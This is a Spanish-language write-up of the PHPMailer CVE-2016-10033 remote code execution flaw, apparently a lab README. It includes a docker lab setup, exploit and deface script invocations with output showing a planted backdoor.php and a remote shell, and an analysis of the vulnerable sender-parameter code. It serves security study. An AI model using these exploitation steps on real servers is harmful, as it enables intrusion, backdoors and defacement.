PHPMailer < 5.2.18 Ejecución remota de código

PHPMailer es la clase de transporte más popular del mundo, con un estimado de 9 millones de usuarios en todo el mundo. Las descargas continúan a un ritmo significativo a diario. Utilizado por muchos proyectos de código abierto: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! y muchos más.

PHPMailer anterior a su versión 5.2.18 sufre una vulnerabilidad que podría conducir a la ejecución remota de código (RCE). La función mailSend en el transporte isMail de PHPMailer, cuando la propiedad Sender no está establecida, podría permitir a atacantes remotos pasar parámetros adicionales al comando mail y, en consecuencia, ejecutar código arbitrario a través de un " (barra invertida y comilla doble) en una dirección From manipulada.

Entorno vulnerable

Para configurar un entorno vulnerable para tu prueba necesitarás tener Docker instalado, y simplemente ejecuta el siguiente comando:

docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

Y levantará una aplicación web vulnerable en tu host en el puerto 8080

Exploit

Para explotar este objetivo, simplemente ejecuta:

./exploit host:port

Si estás usando esta imagen vulnerable, puedes simplemente ejecutar:

./exploit localhost:8080

Después de la explotación, se almacenará un archivo llamado backdoor.php en la carpeta raíz del directorio web. Y el exploit te proporcionará una shell desde la que podrás enviar comandos a la backdoor:

./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Y eso es todo, tienes tu shell. Hay otro exploit, que ilustra otro caso de uso.

./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

Y si visitas la página de nuevo, verás esto:

Código vulnerable

Antes de este commit en class.phpmailer.php, en un determinado escenario no hay filtro para los caracteres especiales de la dirección de correo electrónico del remitente. Esta falla puede conducir a una ejecución remota de código, a través de la función mail aquí.

Analizando el código, no hay filtro en la función mailSend()

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender se añade directamente a la variable $params, que fue filtrada en la función validateAddress(), pero como esta usa la especificación RFC 3696, permite ciertos caracteres que romperán las cosas. En este caso, las comillas:

Además de citar mediante el carácter de barra invertida, se pueden utilizar comillas dobles convencionales para rodear cadenas. Por ejemplo

"Abc@def"@example.com

"Fred Bloggs"@example.com

son formas alternativas de los dos primeros ejemplos anteriores. Estas formas citadas rara vez se recomiendan y son poco comunes en la práctica, pero, como se ha comentado anteriormente, deben ser admitidas por las aplicaciones que procesan direcciones de correo electrónico. En particular, las formas citadas suelen aparecer en el contexto de direcciones asociadas con transiciones desde otros sistemas y contextos; esos requisitos de transición todavía surgen y, dado que un sistema que acepta una dirección de correo proporcionada por el usuario no puede "saber" si esa dirección está asociada a un sistema heredado, las formas de dirección deben ser aceptadas y pasadas al entorno de correo electrónico.

Puedes leer el RFC completo aquí si quieres. Pero también, si la versión de PHP es inferior a 5.2.0 y no hay PCRE instalado, la variable $patternselect en validateAddress() se establecerá a noregex. Esto hará que la entrada pueda evitar cualquier comprobación de expresiones regulares. Solo pasará por una pequeña verificación:

            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Entonces, el flujo del código va a la función mailPassthru(), que, si se ejecuta en safe_mode, no será vulnerable a esta falla, como indica el siguiente código

        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Pero, si no se está ejecutando en safe_mode, entonces nuestro parámetro especial se pasará a mail() y, si tenemos suerte, hará que nuestro archivo, que contiene lo que queramos, se escriba donde elijamos.

Notas sobre la explotación de la función mail() de PHP

La explotación de la función mail() de PHP no es algo nuevo, pero sigue viva y la gente todavía la usa. Para explicar cómo funciona, veamos cómo se define la función mail():

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Existen varios métodos de explotación para diferentes resultados; nos centraremos en la explotación del quinto parámetro para obtener ejecución remota de código (RCE). El parámetro $additional_parameters se usa para pasar banderas adicionales como opciones de línea de comandos al programa configurado para enviar el correo. Esta configuración se define mediante la variable sendmail_path.

Una nota de seguridad de la documentación oficial de PHP:

El parámetro additional_parameters se puede usar para pasar banderas adicionales como opciones de línea de comandos al programa configurado para enviar el correo, según lo define el ajuste de configuración sendmail_path. Por ejemplo, esto se puede usar para establecer la dirección del remitente del sobre cuando se usa sendmail con la opción -f sendmiail.

Este parámetro es escapado internamente por escapeshellcmd() para prevenir la ejecución de comandos. escapeshellcmd() previene la ejecución de comandos, pero permite añadir parámetros adicionales. Por razones de seguridad, se recomienda al usuario sanitizar este parámetro para evitar añadir parámetros no deseados al comando de shell.